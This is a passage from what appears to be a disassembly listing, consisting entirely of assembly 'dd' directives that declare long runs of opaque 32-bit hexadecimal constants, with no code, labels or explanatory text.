		dd 0E88E1843h, 0A69C00E1h, 90BB1D13h, 8C006A1Ch, 8A3FC50Ch
		dd 12AADD3h, 0E9562ECFh, 0C851C189h, 860084AFh,	0BD1D9DD0h
		dd 42F3FAh, 4635D763h, 82C888A5h, 4705AD00h, 19985CAFh
		dd 0C97C008Ah, 8577B450h, 9B0073A8h, 36B7DFA3h,	0A755ADCh
		dd 6D96DA2Fh, 0E60400FFh, 57845E42h, 0D7E80C00h, 0CFFFCA0Ah
		dd 818D00C4h, 217F488Eh, 0CB1DC8C6h, 0DCC0D94Ah, 60395D1Bh
		dd 0F442077Dh, 5059059Eh, 3CD7EDC2h, 967458h, 174DA9FAh
		dd 0B8612D4h, 35EB9652h, 0D9762F00h, 70A8199h, 83B84233h
		dd 0C7C89201h, 68FCFED2h, 7DEB00B1h, 611AE17Fh,	10009601h
		dd 5F99C0A3h, 5B3C15h, 0FCF6C6EDh, 0DCB863F8h, 4C3A6A00h
		dd 10737E69h, 2CA900E2h, 0D5E7A1C9h, 0A83B9B33h, 29BCCEEh
		dd 6B56BA98h, 0A2F480B0h, 7A78BB4h, 0BD017F62h,	0B22DF07Eh
		dd 9126790Bh, 690E420Ah, 0FC7C9D81h, 6BF58C03h,	0C0749E9Fh
		dd 25F1D2h, 555A32CFh, 683F431Dh, 83BB1A00h, 9FE6D77Ch
		dd 0D6660E20h, 0C05EA56Bh, 0C2F2EE8h, 0A71FA358h, 28012B73h
		dd 95BD8C75h, 0DE80CCh,	9274590Bh, 90A255D6h, 6C895A0Eh
		dd 0DAAD40A4h, 9230497h, 9CD296F3h, 0C3FD0180h,	0D00E9581h
		dd 2229E0A4h, 0E01C7634h, 3F82D01h, 0DF19730Fh,	0B280C8AAh
		dd 3B0EB039h, 0B37BABA4h, 589DA203h, 2683C0C2h,	0EC633D8Dh
		dd 0F11B9187h, 4D8F803Fh, 0A600A232h, 7B5DDC1Ah, 46950Ah
		dd 0C16C6F84h, 0F882751Bh
		dd 79940300h, 0A3A42724h, 4EF100EFh, 10164777h,	0E0FDE41Bh
		dd 430F9C8Ch, 8FA7B1FDh, 0DC71803Eh, 3B8EC268h,	36802601h
		dd 0A0EC2848h, 500F867h, 5CCFD43Dh, 7D1E1D5h, 0CC6352EBh
		dd 0BA7B0BDh, 0ADF098C3h, 0D7CA5900h, 0D973E50Fh, 563D2C0Ah
		dd 3E7900B5h, 0DA70A363h, 1A4F8900h, 97AD2D83h,	37E000F1h
		dd 0A67C3066h, 0CF01C831h, 0C1CA2346h, 3F20933Ah, 0C0B1A2E0h
		dd 58C04A2Bh, 7DF122h, 9DAA76F8h, 72D57DB6h, 65DC670Fh
		dd 0D3F1600Bh, 3E3DAD34h, 8A80F911h, 0EF90CB88h, 573BC177h
		dd 7A8400FCh, 8EC347B6h, 0FEDD0049h, 88D0687Fh,	781F9895h
		dd 5C4BA87h, 4B80EEF8h,	1C3C462Ah, 409BCCBEh, 0B7BAD15Bh
		dd 0D0734411h, 0B98F553Eh, 0A0E18060h, 20051F93h, 414F0037h
		dd 9065B32Dh, 0B1077F0Dh, 0BD5D1AEDh, 0D66418B0h, 4F8E056h
		dd 0B63BD23Ch, 0B02B80DBh, 0FD58C5EAh, 15E10023h, 1B73FAEBh
		dd 66853AE0h, 0E70051BEh, 7B54E59Fh, 84038AFCh,	86233414h
		dd 0F8A293C0h, 0B4D039h, 0AE2DFBB3h, 9984E1Eh, 0FEEA7100h
		dd 88ECDB48h, 2A5F0074h, 0C603B98Dh, 24009E4Ch,	0CC2160E5h
		dd 0CA736h, 0E6A93726h,	87632AEDh, 3112B800h, 2BAD4DBFh
		dd 0F8E105D7h, 0C022793Fh, 0B9C0B4E0h, 2617A801h, 0EDF2A34Eh
		dd 0A070CAC5h, 7C5C0222h, 762CADE1h, 70CBD3E0h,	615730E3h
		dd 0B8A3DD03h, 0A0819697h, 0C8633Ah, 0FB359AEBh, 6AE31288h
		dd 9755F900h, 0D21E2A44h, 0D60F00E0h, 57E59ACBh, 66000906h
		dd 42809CFDh, 75411F6h,	0F2260BC1h, 7EF020DBh, 81264740h
		dd 5C004B32h, 5548EB0Fh, 0AB590062h, 29752377h,	9C07C84Ah
		dd 61B34F2Fh, 8060A8A0h, 0FA63009Bh, 0DEB81997h, 171FDC6Bh
		dd 4680F6BAh, 69FC6C1h,	8B3707D4h, 0B049ADC4h, 0CF62FADEh
		dd 6ABF0D0Bh, 6793003Fh, 0E4F51FA6h, 955D0018h,	934A772Fh
		dd 0D2001AD9h, 0EF4393Ch, 0FCC4D416h, 671400ADh, 1D0CD1EDh
		dd 3F70CE5Dh, 80C16B3Fh, 0BD5E0676h, 7C8717Fh, 8A0D0B9Ah
		dd 31B160DBh, 9B003E8Fh, 0FB793950h, 102BC9h, 5D38C40h
		dd 0D0B583E0h, 0DABE3000h, 0F15A4648h, 0A11E392Dh, 0E03BBC8h
		dd 0C4BD2FE4h, 55AAEFA0h, 0D100D3E2h, 4399057Ch, 1E59709Fh
		dd 80C65EBBh, 0A9066380h, 670E9574h, 6060499Eh,	0F7877ECDh
		dd 7040021h, 7547F659h,	9F01C78Ah, 992239CCh, 0BCCCE818h
		dd 0B91538A7h, 3E6FD324h, 533E6080h, 5481717Ah,	0F4BC4Ch
		dd 5F9F52FFh, 1F2F9978h, 0DF035945h, 0CA8DC3B4h, 79B0A6FCh
		dd 0A8FE46F2h, 590A351Dh, 0D852B240h, 0FC094E44h, 940C24EEh
		dd 9FDE00FAh, 542C21EAh, 3924500h, 0D8F9B947h, 0FE397364h
		dd 942600E9h, 8376680Ah, 0FD00E489h, 0F979B75h,	310B85h
		dd 0EFA8F503h, 308304E3h, 808B7B3Fh, 68885FA6h,	1CE94889h
		dd 40632F32h, 49421FE8h, 0B83AEBBAh, 888C17CCh,	0F3014E16h
		dd 0F0FD8516h, 1D932F0h, 0EF0D4E05h, 0F07E68ACh, 8C00AA97h
		dd 10143164h, 6A174Ah, 6879289Ah, 0B016298h, 0CBDCF900h
		dd 0E634BA0h, 5A56016Fh, 0A5D429D3h, 0BE4B70ABh, 0F6952700h
		dd 0F5507D02h, 9B1A3CECh, 82D2B803h, 0A76F5Dh, 0ADF7A99Ch
		dd 17E13800h, 41DAE339h, 7B8D00AEh, 0D340935Eh,	55F0C7A5h
		dd 0F1DFDC00h, 0E5BF8711h, 2C7B004Fh, 56CD303Fh, 180E24BDh
		dd 8301192Fh, 0AF6774BEh, 363AC380h, 65FC00F4h,	1E777EAAh
		dd 1817A8AEh, 561C9F27h, 396A9800h, 0E81C2B6h, 0BAB54E9Ch
		dd 35373DC1h, 0B002CC5Eh, 0D6D4F200h, 768A1D46h, 1E6B1E25h
		dd 6593C055h, 0BADA6F0Ah, 5405A400h, 51491F27h,	0D8D43B70h
		dd 0C93B2400h, 638ACD07h, 0C67E9A00h, 95B8E839h, 0D276077Ah
		dd 0E181D6E6h, 204EABC9h, 1400AAADh, 0DE3BF831h, 1DE81F98h
		dd 8171ED30h, 0A1F55284h, 0F19160CBh, 92FD7D01h, 0BE04D06Eh
		dd 4535C0h, 875383EDh, 44D5C2BCh, 0C322E800h, 3396F7C0h
		dd 0C5021C7Fh, 2D0F819Fh, 40D617BDh, 5A3A1E0h, 0D92ED800h
		dd 0B5C58DDFh, 0E0876043h, 0CA2F63F1h, 49A70F00h, 0C1AC1738h
		dd 0E24D0077h, 0C45D6654h, 110039AFh, 4E1CCB75h, 594A3Ch
		dd 766ABBE6h, 8506E88h,	32C08100h, 363D3461h, 0E84200D3h
		dd 18D61472h, 0A92EBBE5h, 880052AFh, 0B9415A99h, 964A0161h
		dd 0B62B694Bh, 0FE516044h, 76535C0Eh, 0B4C78010h, 286FA8h
		dd 71BA7F73h, 0C556E3CBh, 0C900397Ah, 8145EE4h,	16DC8ABh
		dd 0FDCC7DFBh, 0FC90881Fh, 6E18755Ah, 3B92577Eh, 38E0FEAh
		dd 4980561Dh, 0D1F0BBCAh, 79F8601h, 4FA8CC4Bh, 0F4060h
		dd 5727B919h, 9941CABDh, 0CC9B853Ah, 220700D3h,	8296E872h
		dd 0FB9F0784h, 0F08AE7ACh, 77B8937Fh, 0E11BF107h, 7941079Eh
		dd 48D87856h, 0F86F0009h, 35DF67C7h, 0CFFB34D5h, 2CD59D0h
		dd 3C2EE100h, 3F0103B4h, 0A45500C7h, 519F02Bh, 6A005D88h
		dd 0B4B281D7h, 3C39E8FCh, 7C00619Fh, 0C440D9F0h, 0EC0004EDh
		dd 0F4EEA8CDh, 6B9AD4h,	0F8270CDDh, 0ED2B1ADCh,	1B0340B8h
		dd 0E749DB67h, 3BFEF1B6h, 63C87131h, 0ECE20F76h, 0AF6018B2h
		dd 0C326719Ah, 0B0FA3E07h, 0C07FD7D0h, 0D1C0670Bh, 0AD8C006Ah
		dd 6EB65FEDh, 0DF714752h, 0F832231Eh, 45F391C0h, 27A6C4h
		dd 6DADACBBh, 0C9FCDDBh, 834CAA38h, 0F2152203h,	76C20510h
		dd 80F4EBF3h, 4593FD38h, 4D2EEC00h, 6D2CC06Eh, 2B7700BCh
		dd 3F3B05FFh, 3703C435h, 528D9CCCh, 0F7B1D06Ah,	7F2503D2h
		dd 0BAFE5EC0h, 0FA5CEAE8h, 0A100A198h, 7B652E5h, 0EC21BDh
		dd 5F689B97h, 0A7287354h, 0F7D8DF07h, 3820BE7Fh, 0DFD74h
		dd 68EEAFC1h, 14CA501Bh, 2D056E1Dh, 4C0023D7h, 7CA601ACh
		dd 0DC9507E8h, 60FA6A36h, 8D12B954h, 0B49D3E00h, 0B2837A8Eh
		dd 1E040175h, 47162F42h, 0D8EFDC55h, 77E7D500h,	4A92ACD0h
		dd 0F4DD014Fh, 315AE98Ch, 37B2F4AAh, 5702DFE4h,	68CDBCFBh
		dd 417B4062h, 0CAA50053h, 0B5A7EB46h, 5D0BAAE5h, 8095CF1Dh
		dd 0ECA9F655h, 0E1DC0321h, 497E6D45h, 65D8D5B3h, 1E0FF36Bh
		dd 4CE899h, 0FD1FF7C6h,	4E211FF9h, 0D765C05Bh, 0A2CF6E98h
		dd 80982379h, 0AB8A8C00h, 0A9D32A01h, 0BDB101B0h, 19599A6Dh
		dd 452BCC1Fh, 0BEE60600h, 0B214256Eh, 2B0BCh, 0EEB92013h
		dd 9070BD66h, 22C01A0Fh, 0F9786050h, 0B1BC88Ch,	8ECAE873h
		dd 7AAD5800h, 5900E6FCh, 0F1F02094h, 446F25h, 42CAF25Ah
		dd 83F4AE2Ah, 0E9077FFCh, 0F30E56B0h, 0FCBEDA00h, 5C220060h
		dd 0EB2A39ABh, 0FE00F494h, 0FD33AA8h, 0F89B91h,	5988528Ah
		dd 0C9FFA6ADh, 2238F500h, 3642555Ah, 0A3D01EDh,	3FECB482h
		dd 99C5F033h, 0C1BD231Eh, 1BB0807Bh, 6902EA03h,	42491DF1h
		dd 93B88009h, 7627C610h, 48B3B407h, 8950B50Ah, 9FA2DAh
		dd 0CD8783C3h, 854AB071h, 417D58h, 9436282Ch, 912B39h
		dd 17C7CA3Fh, 8E9B8116h, 3D893301h, 0B3BD9DA9h,	70D17CC0h
		dd 454E034Ah, 0E271494h, 8EE957C0h, 2E9CB501h, 0F67FD267h
		dd 9BC0CCh, 0ACBCCED9h,	16B3FA19h, 0A2B9EA00h, 36FCF043h
		dd 5B870956h, 0F400848Ah, 72F7DC5Fh, 2C4E6097h,	8CA3004Eh
		dd 33888BD6h, 37B8B344h, 1900DE7Ah, 0BFB43592h,	0BDE3A6h
		dd 265F7251h, 0C6F56AA1h, 83186C00h, 6EFA77C7h,	0B27B00AFh
		dd 0EE840CE8h, 52003812h, 2C63D39Bh, 31D487Ch, 0F4F94FDBh
		dd 598843Ch, 820CB8A9h,	0BAE0706Fh, 0A10C00B5h,	0AA257268h
		dd 4A0079E3h, 0D8AF712Eh
		dd 0C31CEBh, 17FD8ED6h,	838EA29h, 0B8CD7200h, 0B5F9D141h
		dd 9D983B93h, 0ACA40C8Ah, 0EC530FF7h, 843A2B42h, 272ED440h
		dd 0B00A1CE0h, 85F4453Fh, 0D1385300h, 0E41FE48h, 88F0714h
		dd 6D2A9FA0h, 0C500CF6Fh, 5D985EC3h, 790CA2B5h,	0F27A0070h
		dd 8D771A6Eh, 8600BB28h, 1B5FA735h, 3BA606h, 1F849462h
		dd 61CED0CDh, 130DCF00h, 43744DFFh, 0EBD200F8h,	8BC3B4AEh
		dd 0A1002016h, 514152Dh, 2521D97h, 1BA1E79h, 0C8C29907h
		dd 5AA3A160h, 0EFA21F01h, 889CB666h, 4EA6B240h,	7F8B00E6h
		dd 5A6414FCh, 0F801C95Dh, 7BD36E2Dh, 53D8275Bh,	485700A6h
		dd 297CF035h, 0F700721Ch, 88B2E459h, 7BE860A9h,	7C278BEh
		dd 4C5B70A6h, 0C4055090h, 7F0B4492h, 80AF5A79h,	0F96E29E1h
		dd 303C0017h, 745E7C98h, 664A89B0h, 0FC00EEBCh,	63C328F5h
		dd 0C501F6F4h, 3EB32EBEh, 44D0AA4Ah, 0DBB53D06h, 2B6F0070h
		dd 0DDC49078h, 401EDCD9h, 5780D6E4h, 0B3521FD7h, 128200ADh
		dd 0C0E6752Eh, 5A001928h, 194F93Eh, 3CFB2703h, 0A8074C0Fh
		dd 0B0664D7Ah, 1D961C7Ch, 0C2C44800h, 70748DCDh, 6340001Eh
		dd 0C98BD721h, 423D4190h, 0A83FF3h, 0A608E0Dh, 64DBD4h
		dd 1C388B26h, 77DA827Dh, 6FC96B0Fh, 0DFCE6089h,	2F7508h
		dd 9A31869Fh, 0B81274F8h, 0BF181500h, 0D98EF0EBh, 32DE0041h
		dd 392B79D4h, 2901C0E2h, 9E331B50h, 0D5D4D8B0h,	7E5F38BBh
		dd 0D1530070h, 2EA1E9F0h, 0A8002FF8h, 46180FD7h, 0F0EAB3ACh
		dd 0B1380055h, 6747F13Ah, 8600CD1Ch, 0E334F5EEh, 9EDDF58h
		dd 361D4D30h, 16238C00h, 1B009D85h, 516A1284h, 1F8E37Fh
		dd 1C02A66Bh, 3056E6C6h, 50BFF53Dh, 0FF9003D5h,	2A412E29h
		dd 0FB9C9DB0h, 1CBCC258h, 8800B164h, 0DE946581h, 484600D0h
		dd 5E8F5D7Fh, 0E400CC35h, 1AB83334h, 33FDFFCh, 0FF50EC03h
		dd 62884737h, 900E31Ch,	5BE2ADFBh, 3810C7h, 2B408476h
		dd 8A634983h, 0FA56F600h, 125B9822h, 771F0003h,	0A60A40ABh
		dd 0A0007B30h, 195EAD2Fh, 0FCEE61h, 16C154C2h, 0A43639D2h
		dd 0E17E8FE0h, 7D5E2303h, 0D9964EFBh, 0AE85548h, 0AB710062h
		dd 98970C75h, 7B00DDD8h, 14C0B50Fh, 1E35E1Ah, 6A749CF9h
		dd 0FC5C6015h, 0F1009BB9h, 0CBA5627Ch, 487033B2h, 16008991h
		dd 1BC7F6ABh, 1F7BE37Bh, 0D6F5A71Fh, 129F3C00h,	7722BE7h
		dd 808D5631h, 0E3486315h, 33B0BCD8h, 0B3ADDA50h, 710049E8h
		dd 234A739Bh, 1F816DAFh, 806B5D53h, 0A3C4C2FAh,	8F1D1BE1h
		dd 0AE404A31h, 45F72DA6h, 257500CAh, 0F529570Ch, 93EA7791h
		dd 7E00E875h, 6B539BC9h, 1FE3D225h, 3EBACF67h, 138649Eh
		dd 7D02C66Fh, 6BB3307Eh, 8B6E1E01h, 0E4DD742Ah,	27B0AF0h
		dd 3EFF81C7h, 0FD4020B2h, 67759195h, 0F1B1E200h, 8B4904DFh
		dd 0A33D3FCFh, 13031983h, 0DDA159C6h, 0B14EF036h, 6D042703h
		dd 0A815D8B3h, 7A381D29h, 138D009Bh, 1A17E573h,	783EE864h
		dd 9EE1050Bh, 8EC7B099h, 368931A0h, 0A8131F72h,	56833EFCh
		dd 588DA2D3h, 8BE4B5B8h, 90D54800h, 4CA7833Eh, 0D2E0035h
		dd 0B9F9606h, 0EC0407F2h, 0B548337Ah, 8AE73280h, 83F686h
		dd 0B1850EBEh, 0A4C278C8h, 0AAC1B0Fh, 43334039h, 11FA530h
		dd 0E1D2CB37h, 70926613h, 970027E4h, 7BFD2E87h,	1F18AFC2h
		dd 0C3C639ECh, 0C50CA768h, 7C5AEA07h, 90E78C02h, 0C74DCB30h
		dd 9C5F00E9h, 0DDF444B2h, 34E4BF97h, 7B4A8D00h,	0ADE77F17h
		dd 6F540E68h, 0FBE07CBDh, 0EFD208F2h, 91634400h, 736EBBE3h
		dd 0FF1500D4h, 0AAA82284h, 5D0788D3h, 8CA44AF0h, 9E4E1B50h
		dd 0A25103FFh, 77EC6950h, 4F4780BCh, 0C400A444h, 37E212D6h
		dd 0E9A17875h, 68EEE4h,	59B6FC3Ch, 9A6A3090h, 3AFFA500h
		dd 64AF3BBFh, 8C680063h, 48714117h, 0EA008547h,	7610E77Eh
		dd 0CF3DD2h, 18898808h,	0A62F3275h, 0C6D02C0Fh,	4E4D60FEh
		dd 5D7B88Eh, 3C076992h,	8D2CC02Fh, 2E0132F9h, 93D83AC6h
		dd 0B7E4B208h, 554700ADh, 777DBFE4h, 0D5FCDDEFh, 5349A00h
		dd 1CF7F676h, 82FEC8h, 6B7323EDh, 0BB9872EAh, 0EE49B500h
		dd 0C2A9369Eh, 0A0C60015h, 5BE8A4D9h, 951E0B83h, 1C2C919Bh
		dd 0CDC9003Fh, 2E517CBCh, 0ECE9000Eh, 0F6C333E2h, 4870A510h
		dd 1346CE00h, 8B3241B1h, 67A8385Ch, 0CBDB2784h,	4680AFFAh
		dd 62EDF8h, 3EF29DC3h, 874FE115h, 6DEFA600h, 7EB9215Dh
		dd 81DE004Ch, 96691BBFh, 550259BAh, 424D75E8h, 6627C041h
		dd 0D4CE000Bh, 6F9CCBEEh, 7407C8AAh, 0C4EB4A60h, 8DBB5230h
		dd 0B0FE00BAh, 8A6C3BC3h, 8F177224h, 83009914h,	0D9395DC2h
		dd 0A6D50197h, 0A10D9D1Bh, 1ADCD43Eh, 787DFB70h, 0AB4ED300h
		dd 0CCBB2752h, 85B200F4h, 13174AC7h, 0F6241121h, 66015CDEh
		dd 867FC262h, 0C08454E8h, 42BBE98Ch, 7C1C4B9Ah,	4D87B287h
		dd 4300F4B8h, 3C7BF37Fh, 3580EC6Dh, 70CFFD02h, 1C07320Ch
		dd 11C119F5h, 0CB04FA00h, 7C8703A4h, 7E104776h,	2FE024C3h
		dd 0B50F65FEh, 0E0AC5418h, 205A7357h, 0D2EA1E4Bh, 68D8338h
		dd 9F8884B2h, 0BE1F1A03h, 7745FCF7h, 308022F2h,	6BC436h
		dd 0C958B065h, 0D18B18B7h, 0AED03Ah, 0C42E917h,	8F3BECh
		dd 6D1D2C52h, 0D02EF65Fh, 0B5926900h, 6C314F3Eh, 4CA54875h
		dd 3404A000h, 7DEDD17Bh, 0DBAC0900h, 12D75089h,	0F6A20071h
		dd 0F2356C0Ch, 0E6001FD2h, 0E2A30153h, 0C9723Eh, 75D3E7FFh
		dd 33E567D0h, 5F7E0602h, 6068833Fh, 3C22E4Ah, 0F648D87Ch
		dd 49B0F4FBh, 51E92FEh,	0DB56072Ch, 0E5ADB000h,	0B6C55Fh
		dd 0CD84A2A1h, 19883FD4h, 0A0FCCB00h, 82AF2FDAh, 76A50070h
		dd 3CFAD9B1h, 0DC00AABCh, 429D3DA2h, 0A6E22Bh, 0C481307Eh
		dd 0DED0F562h, 0B153D71Eh, 8EC83A80h, 6186E0h, 84C1E775h
		dd 2E1E568h, 5A101E00h,	37317753h, 0B6A40099h, 21D0635Bh
		dd 220043FFh, 350489D6h, 0EC945A67h, 0BF551D81h, 3E91DD83h
		dd 387E8C80h, 0ECA2AE2h, 0C7D99617h, 0D40771Eh,	1E97F950h
		dd 85795Fh, 0E67A1882h,	8F5C6C90h, 2E658900h, 4DA85798h
		dd 35212C28h, 0EC2B019Fh, 60CA238Ah, 46003A6Dh,	4FD7B029h
		dd 9B4A2Dh, 12A942ACh, 1CF63BD2h, 0D341FE00h, 1B9819E3h
		dd 90B30066h, 0CBDDDAC2h, 0E600B416h, 0EEF1626Fh, 12EBF0h
		dd 2926ED89h, 0A6387DC6h, 222D5B00h, 0B71C2C8h,	9243003Fh
		dd 211BADDEh, 0FB3A90BDh, 24FD0F72h, 0A9E8671Ch, 0A4A2C4A0h
		dd 0C7080081h, 0D7864156h, 0F75B2BE3h, 0E2A0E0h, 0A7B5DAA3h
		dd 2253DC3Ah, 25387C00h, 55FED117h, 0BB5E0041h,	0D94FAF6Ch
		dd 9DEE7E7Ah, 4E069900h, 58B68A8Ch, 2B721Dh, 8FC87C49h
		dd 765E3BFh, 0F414AE00h, 94B9CFEAh, 572D00DDh, 7739114Dh
		dd 0E700B28Ah, 684F5D0Fh, 0CF3E8h, 9C71FC88h, 79C5A041h
		dd 0C890CF07h, 9F5026AAh, 0E00F72B4h, 0ABB60E3Ah, 7887BB9Ah
		dd 45A0802Eh, 0E8000727h, 0A98AE0CBh, 7830D40h,	87989CD9h
		dd 63E41046h, 7B0019DBh, 6C0E0568h, 0AA8F80h, 0C8AEA708h
		dd 99C30375h, 1A98A600h, 6E52F173h, 8B89002Bh, 520FD9Bh
		dd 0D100B65Ch, 0BB765965h, 0F5AAD9h, 0F8317DD3h, 0B1931D85h
		dd 44828E00h, 6B7F742Bh, 39B207AEh, 0F0695843h,	9A47864Ah
		dd 4DE23Eh, 0CF2DB804h,	70ABC9CDh, 5F990091h, 0D10FBB84h
		dd 3E009605h, 7CAA8A8Fh, 21FA6Bh, 3F37A47Bh, 0DE0EB66Ah
		dd 879CB900h, 0BBD0FCDDh
		dd 0E46501BEh, 4F5BCD2Ah, 3A51C04Eh, 8D6EE800h,	2CCAEC88h
		dd 58D43187h, 0F84C5FF0h, 4D009E9Ch, 45D7A3D5h,	74275C86h
		dd 98A900BCh, 2333C8F0h, 0D10078B1h, 0E60E0F7Fh, 610B28h
		dd 11668703h, 886EDC09h, 0EAD8E100h, 0D1507435h, 2AE0362h
		dd 0C6F04C72h, 5DCAE080h, 320061F6h, 0BB409B8Ah, 93E420h
		dd 75DC8360h, 381982Ah,	113E7200h, 9D99769Bh, 0A86E03E0h
		dd 0EA9C59FBh, 3591D9A0h, 3387FD00h, 983C713h, 0F4FC00DEh
		dd 0F59B1A0Ch, 41003DD7h, 780762A3h, 7C5506C4h,	87375CCCh
		dd 59DFA100h, 796C6FC3h, 1382753Bh, 0C900CE69h,	2CD0472h
		dd 0D6AD0945h, 805F15A2h, 0D8897D92h, 6FFF697h,	6D7149C5h
		dd 0B901F460h, 47C2B470h, 0A0FCE554h, 0E6EE00E8h, 0CC87413h
		dd 6D7EA6F4h, 679EE700h, 0BA5379AFh, 85BE001Bh,	91E273Ch
		dd 95E85881h, 54369300h, 0E651FAF0h, 6475D5h, 8D919A24h
		dd 186112C4h, 0BCB0042Eh, 4019A30Eh, 68E02D9Dh,	0A4BB008Bh
		dd 75942CA1h, 82EEFC7Dh, 26A70700h, 4F23134Dh, 0CD1400DCh
		dd 0F6223A53h, 5B000B5Eh, 0F857E69Ch, 5C02E5h, 50E0DC7h
		dd 22F9B445h, 1A008D7Eh, 0CBF5E875h, 0E44AA1h, 817A534h
		dd 0FDBE7B60h, 79F69600h, 0A03DB023h, 0E247007Ah, 14136264h
		dd 990367F0h, 45F9E087h, 6B2087ACh, 0F2651FF4h,	0A7F500F1h
		dd 52AF32E7h, 893E9836h, 0E8310079h, 0B29C02A2h, 23FB009Fh
		dd 6187B8CEh, 71004D98h, 0EB2B30A7h, 0D85259h, 2DEFFD4Eh
		dd 0F2C38ACDh, 3A1E707h, 21009567h, 1D0FE8E1h, 0FD50177Eh
		dd 0BCBDB807h, 0B335A0ECh, 32008F2Dh, 0D5CA66E9h, 1DFBA013h
		dd 80999E95h, 0F50C5D5Ch, 9D0E3723h, 60F04091h,	2847512Bh
		dd 8E73FFh, 59F894BDh, 9A6FBE5Ah, 874D1D00h, 0D9E448C6h
		dd 0FE8C3A67h, 0BB881B80h, 91457271h, 6D936F00h, 9A151803h
		dd 22A700ECh, 9C85677Fh, 70B8303Ah, 0BC12BE07h,	8E802F03h
		dd 3D6C754Fh, 918065F6h, 0EF347F09h, 6B00853Dh,	545DBF63h
		dd 3CB4CF32h, 8A8F9729h, 5A001259h, 0A35BFF7Bh,	20F4F100h
		dd 0DFDA6E68h, 74AC009Ch, 102B8586h, 0AA12BE3Eh, 0AF008CF2h
		dd 37B34A40h, 484D00DCh, 0E2CC134h, 0E100E6E7h,	21AD4E8Eh
		dd 479366h, 0C459F057h,	2203B8CAh, 2AC01F00h, 421698DEh
		dd 3F8D00F7h, 0B2FF1A2Bh, 8870471Dh, 7C59AB01h,	0EC90EB24h
		dd 7D8CCCFCh, 0FE50065h, 0DB444B63h, 0CB03FA9Bh, 732A20AAh
		dd 1E26E0EAh, 0BA11D92h, 0BC03C094h, 0C45C3289h, 72EA0900h
		dd 9B2AAE1Bh, 85210034h, 69D16E8Dh, 6B00AD59h, 534E0E58h
		dd 682D15h, 6C38E4F6h, 8FB59C37h, 0AD00D57Ch, 36CDF899h
		dd 0EA6D6077h, 2ECC0305h, 6E733810h, 235D35F0h,	0BED83A07h
		dd 0A310C4B7h, 0A986905h, 51823120h, 0BC0E1DB4h, 63910B00h
		dd 0F2B0DDFBh, 29171075h, 0C6006D6Bh, 5E748568h, 0E3AA004Ch
		dd 0B1D469DDh, 45778979h, 39DC6C00h, 0FE105E82h, 9AD800FCh
		dd 0C8B07324h, 22005913h, 2DCBEBFDh, 0B62526h, 3F93CC98h
		dd 386F3351h, 57600E00h, 46D7C562h, 0FDD60052h,	580D31F3h
		dd 4078E47h, 8971DDF6h,	30FBCE10h, 0E5500148h, 0F264D7E7h
		dd 2DD84317h, 49CBA00h,	8207FF31h, 335701E0h, 11BF5CA0h
		dd 0C45EF815h, 6D73CF0Fh, 639E9F71h, 0F66609h, 0AD0C87B0h
		dd 4D470028h, 5FD31750h, 665CBDE0h, 7200124h, 71DBAA10h
		dd 0FCB1ACD4h, 7E6901D6h, 0C222572h, 0E0DAD93Ah, 23F8B76Fh
		dd 7600BFF4h, 0A441EB06h, 1A0257h, 0AF3A5679h, 7F2A8612h
		dd 34F61300h, 0AADF04D6h, 0B0AE00C1h, 38314EB6h, 0D1F6D275h
		dd 180CF4EDh, 7F649B00h, 0FEF2471Fh, 52FF1DB8h,	8E33406Ah
		dd 262EA57Ah, 0FC833Fh,	1D0A55CDh, 1E10FD21h, 0D27ECF91h
		dd 86D30018h, 6294AFDFh, 6FF62801h, 9734FB46h, 4231F0h
		dd 51D0EC1Dh, 39A0BAF1h, 309EC100h, 71B656C4h, 0CAF7005Dh
		dd 47388116h, 0D00F272h, 0E07C9D0Ch, 5E7DE8EDh,	91AC3Ah
		dd 3B25BFB4h, 7FF6E62Bh, 0B1F80015h, 0FF1650D3h, 6100D97Bh
		dd 67F35B20h, 0BCC06Dh,	0EF25F1E6h, 94C78295h, 0C27E38h
		dd 5F8DFA98h, 422CF5h, 4AB4BDC8h, 0BA76653Ah, 40055200h
		dd 55965137h, 316E0046h, 0D6D1CD1Bh, 6100F86Ah,	6D26058Fh
		dd 7C9EF81h, 844725C6h,	12F53046h, 0DE0094ECh, 0B2305D7Bh
		dd 2C923Fh, 0CC8C0A8Fh,	3AE547CFh, 8B29FD00h, 0BF52F0FEh
		dd 0F8782Ah, 0C822A86Dh, 6E4F3CC5h, 27B5F200h, 0CFF751A2h
		dd 0DA45051Eh, 0C02D7FBCh, 34142141h, 975EE139h, 0CC006758h
		dd 0B761D0F8h, 0B65D0060h, 8A013E7Ch, 0D80099B0h, 0EB515A23h
		dd 7153172h, 4AFC9CEh, 0AD6B04Eh, 8B003237h, 31BD2921h
		dd 1F56C102h, 0EB5CBEh,	2A3F83D1h, 9F00B1DCh, 0F3352782h
		dd 7A170A43h, 807F7Fh, 0C5988D68h, 87D12995h, 55346D00h
		dd 0EB8F8C17h, 3CC000B6h, 0B95C22F4h, 5A00ED2Bh, 0E4051850h
		dd 343895h, 0E233EB2Eh,	7EA38297h, 0BEE91500h, 0B172AF9h
		dd 0B59A0064h, 4755ACF5h, 9F009896h, 68B31DE9h,	0E5C8E1h
		dd 76F82CD8h, 2829D251h, 0CB0FD900h, 9257AC17h,	0EFC705DBh
		dd 0C0BD7921h, 1A701672h, 0B000E277h, 0C91D11E4h, 0C0716374h
		dd 315A4146h, 0EE03651Eh, 86B8750Ah, 0C435D843h, 6AF30013h
		dd 97CC994Bh, 1A0031C8h, 590C06C2h, 508539A3h, 37BFE2h
		dd 48925E3Bh, 0BDA2DC9Fh, 63051207h, 0AA40B914h, 0E613E8Ch
		dd 543BB41Dh, 1BA862C3h, 0D9F1B398h, 7B209600h,	0EBEECD80h
		dd 9EEC00C6h, 51DD3D41h, 9F005F3Ch, 214ED443h, 151E28h
		dd 9C489E82h, 0A232AA1Ah, 6A242D07h, 6B2F4Ch, 671DC812h
		dd 720600F8h, 29274DB2h, 70008805h, 7ADD036Ch, 996FBAh
		dd 0B184EA74h, 8F48693Dh, 83B3E400h, 0AF3E0FBDh, 8A81012Eh
		dd 1ED6AAF7h, 0A13DEC40h, 0BDE1A600h, 30DB8368h, 51CC024Ah
		dd 0AB5A5FDEh, 544E74E0h, 13B51003h, 0F87CC2C4h, 0C3EA65h
		dd 0DEAE35FAh, 7B15DABFh, 57091600h, 6ED57F45h,	83941D80h
		dd 5C36804Fh, 2908CB8h,	0C725AA0Fh, 16862020h, 125D29B0h
		dd 753CC0Fh, 300D6192h,	2C79EE22h, 43DC9500h, 9F3E270h
		dd 9D362E7Ah, 0EA003E25h, 4F7DBF60h, 5C3CE703h,	98870058h
		dd 8C7F71BEh, 0C91A03F0h, 6813A407h, 9E1D4B8h, 0A0B26100h
